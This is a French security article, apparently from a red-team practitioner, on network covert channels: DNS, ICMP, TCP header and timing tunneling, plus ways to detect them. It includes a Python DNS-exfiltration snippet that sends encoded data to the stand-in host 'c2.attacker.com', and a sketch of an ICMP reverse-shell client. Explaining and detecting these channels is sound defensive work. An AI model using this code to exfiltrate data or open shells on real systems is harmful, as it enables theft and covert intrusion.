Les covert channels (canaux cachés) sont des mécanismes de communication qui détournent des flux légitimes pour transmettre des informations de manière indétectable par les dispositifs de surveillance réseau classiques : IDS, pare-feu et solutions DLP. Là où une communication C2 traditionnelle s'appuie sur des protocoles standards (HTTP, DNS) et laisse des traces analysables, ces techniques dissimulent les données dans des champs d'en-tête inutilisés, des variations temporelles entre paquets ou des fichiers multimédias anodins. Le triptyque covert channels stéganographie exfiltration représente ainsi l'une des menaces les plus difficiles à détecter pour les équipes SOC, car le trafic porteur reste parfaitement conforme aux spécifications protocolaires. Comprendre ces mécanismes d'encodage, leurs limites de débit et les signatures statistiques qu'ils laissent malgré tout est indispensable pour concevoir des stratégies de détection réellement efficaces.

En bref

  • Les covert channels encodent des données dans les protocoles légitimes — invisibles pour les firewalls classiques
  • Le DNS tunneling est le plus courant : données dans les sous-domaines (63 chars/label, illimité en volume)
  • Les storage channels TCP (ISN, IP ID, timestamps) transportent des bits dans les champs protocolaires
  • Les timing channels (délais inter-paquets) sont quasi-indétectables — aucun champ modifié
  • La détection repose sur l'analyse d'entropie, les anomalies de volume et le machine learning
\

En bref

  • Taxonomie : storage channels (données dans les headers) vs timing channels (variations temporelles)
  • DNS tunneling : encodage de données dans les requêtes/réponses DNS (DNScat2, Iodine)
  • ICMP tunneling : exfiltration via le payload des paquets ICMP echo request/reply
  • Stéganographie réseau : données cachées dans TCP ISN, IP ID, TTL et champs optionnels
  • Détection : analyse statistique, entropie des champs, machine learning sur les flux réseau
\
Covert Channel — Canal de communication qui exploite un mécanisme non prévu pour la transmission de données afin d'échapper à la détection. Les covert channels réseau encodent des informations dans les protocoles réseau légitimes (headers, timing, payload) de manière invisible pour les systèmes de surveillance classiques.
\

Taxonomie des Covert Channels Réseau

\ \ \ \ \ \ \ \ \ \
TypeMécanismeBande passanteDétectabilité
Storage ChannelDonnées encodées dans les champs protocolairesMoyenne-HauteMoyenne
Timing ChannelInformation dans les délais inter-paquetsTrès BasseTrès Difficile
DNS TunnelingDonnées dans les requêtes/réponses DNSHauteHaute (si volume élevé)
ICMP TunnelingDonnées dans le payload ICMPMoyenneMoyenne
HTTP CovertDonnées dans les headers HTTP customHauteBasse
StéganographieDonnées dans les images/médiasBasse-MoyenneTrès Difficile
\

DNS Tunneling : L'Exfiltration la Plus Courante

\

Le DNS tunneling est le covert channel le plus utilisé en pratique car le trafic DNS est rarement filtré et traverse la plupart des firewalls. Les données sont encodées dans les sous-domaines des requêtes DNS et dans les réponses TXT/CNAME :

⚡

Retour terrain

Dans mes missions de red team, la phase de post-exploitation révèle systématiquement des données que le client pensait protégées. Le cas le plus fréquent : des fichiers Excel de comptabilité ou RH stockés sur des partages réseau accessibles à tous les utilisateurs du domaine, sans restriction. Sur les 30 dernières missions, 27 avaient des partages réseau avec des données sensibles accessibles à n'importe quel utilisateur authentifié. La sensibilité des données n'est pas corrélée à leur niveau de protection réel.

\
#!/usr/bin/env python3\ # DNS Tunneling — Exfiltration basique via sous-domaines\ # Principe : encoder les données dans les requêtes DNS\ import base64, socket, struct\ \ def exfiltrate_dns(data, domain="c2.attacker.com", dns_server="8.8.8.8"):\  """Exfiltrer des données via des requêtes DNS"""\  # Encoder en base32 (DNS-safe, case-insensitive)\  encoded = base64.b32encode(data).decode().rstrip('=').lower()\  \  # Découper en chunks de 63 chars max (limite label DNS)\  chunks = [encoded[i:i+60] for i in range(0, len(encoded), 60)]\  \  for i, chunk in enumerate(chunks):\  # Construire le nom de domaine : chunk.seq.domain\  qname = f"{chunk}.{i}.{domain}"\  \  # Construire et envoyer la requête DNS A\  sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\  query = build_dns_query(qname)\  sock.sendto(query, (dns_server, 53))\  # La réponse peut contenir des données du C2\  response = sock.recv(512)\  sock.close()\ \ # Côté serveur C2 : un serveur DNS autoritaire pour c2.attacker.com\ # reçoit les requêtes et reconstruit les données à partir des sous-domaines
\

ICMP Tunneling

\

Le ICMP tunneling encode les données dans le payload des paquets ICMP echo request/reply (ping). Le payload ICMP n'est pas inspecté par la plupart des firewalls — seuls les headers ICMP sont analysés. Les outils icmpsh et ptunnel fournissent des tunnels ICMP prêts à l'emploi :

\
# ICMP Tunneling — Shell inversé via ICMP\ # Envoi de commandes dans le payload ICMP echo request\ # Réception des résultats dans le payload ICMP echo reply\ import socket, struct, os\ \ def icmp_shell_client(target):\  sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)\  while True:\  cmd = input("$ ")\  # Construire un paquet ICMP echo request avec la commande en payload\  icmp_packet = build_icmp_echo(cmd.encode())\  sock.sendto(icmp_packet, (target, 0))\  # Recevoir la réponse (résultat de la commande) dans ICMP echo reply\  data, addr = sock.recvfrom(65535)\  result = parse_icmp_reply(data)\  print(result.decode())
\

Storage Channels : Headers TCP/IP

\

Les storage channels exploitent les champs protocolaires inutilisés ou sous-utilisés pour encoder des données :

\
    \
  • TCP Initial Sequence Number (ISN) : encoder 32 bits de données dans l'ISN de chaque connexion TCP. Indétectable car les ISN sont normalement aléatoires.
  • \
  • IP Identification field : 16 bits par paquet, normalement séquentiels ou aléatoires — encoder des données dedans est indétectable sauf par analyse statistique.
  • \
  • TCP Urgent Pointer : champ rarement utilisé, peut transporter 16 bits par segment TCP.
  • \
  • TCP Timestamp Option : 32 bits par segment, encode des données dans les variations du timestamp.
  • \
  • TTL (Time To Live) : varier le TTL de +/- 1 encode 1 bit par paquet.
  • \
\

Timing Channels

\

Les timing channels encodent l'information dans les délais entre les paquets. Par exemple, un délai de 100ms encode un "0" et un délai de 200ms encode un "1". Les timing channels sont les plus difficiles à détecter car ils ne modifient aucun champ protocolaire — seul le timing varie, et les variations réseau naturelles masquent le signal.

\

Détection des Covert Channels

\
    \
  • Analyse d'entropie : les données encodées en base64/base32 dans les sous-domaines DNS ont une entropie plus élevée que les noms de domaine normaux. Un seuil d'entropie >3.5 bits/caractère sur les sous-domaines est suspect.
  • \
  • Analyse de volume DNS : un hôte émettant des centaines de requêtes DNS uniques vers un même domaine est anormal — signature typique du DNS tunneling.
  • \
  • Inspection ICMP : les payloads ICMP echo normaux (ping) sont fixes et courts. Des payloads ICMP de taille variable avec une entropie élevée indiquent du tunneling.
  • \
  • Analyse statistique TCP : la distribution des ISN, IP ID et timestamps doit suivre les modèles attendus de l'OS. Des déviations indiquent un storage channel.
  • \
  • Machine Learning : les modèles ML entraînés sur les features réseau (taille paquets, inter-arrival time, entropie) détectent les covert channels avec une précision >95%.
  • \
\
⚠️ Attention — Le DNS tunneling est le covert channel le plus utilisé par les attaquants (APT29, APT34, FIN7). Si votre organisation n'inspecte pas le trafic DNS (résolution des sous-domaines, analyse TXT/CNAME, volume par hôte), vous avez un angle mort majeur. Déployez un DNS resolver interne avec logging complet et analysez l'entropie des requêtes.
\

À retenir

  • Les covert channels encodent des données dans les protocoles légitimes — invisibles pour les firewalls classiques
  • Le DNS tunneling est le plus courant : données dans les sous-domaines (63 chars/label, illimité en volume)
  • Les storage channels TCP (ISN, IP ID, timestamps) transportent des bits dans les champs protocolaires
  • Les timing channels (délais inter-paquets) sont quasi-indétectables — aucun champ modifié
  • La détection repose sur l'analyse d'entropie, les anomalies de volume et le machine learning
\

Références externes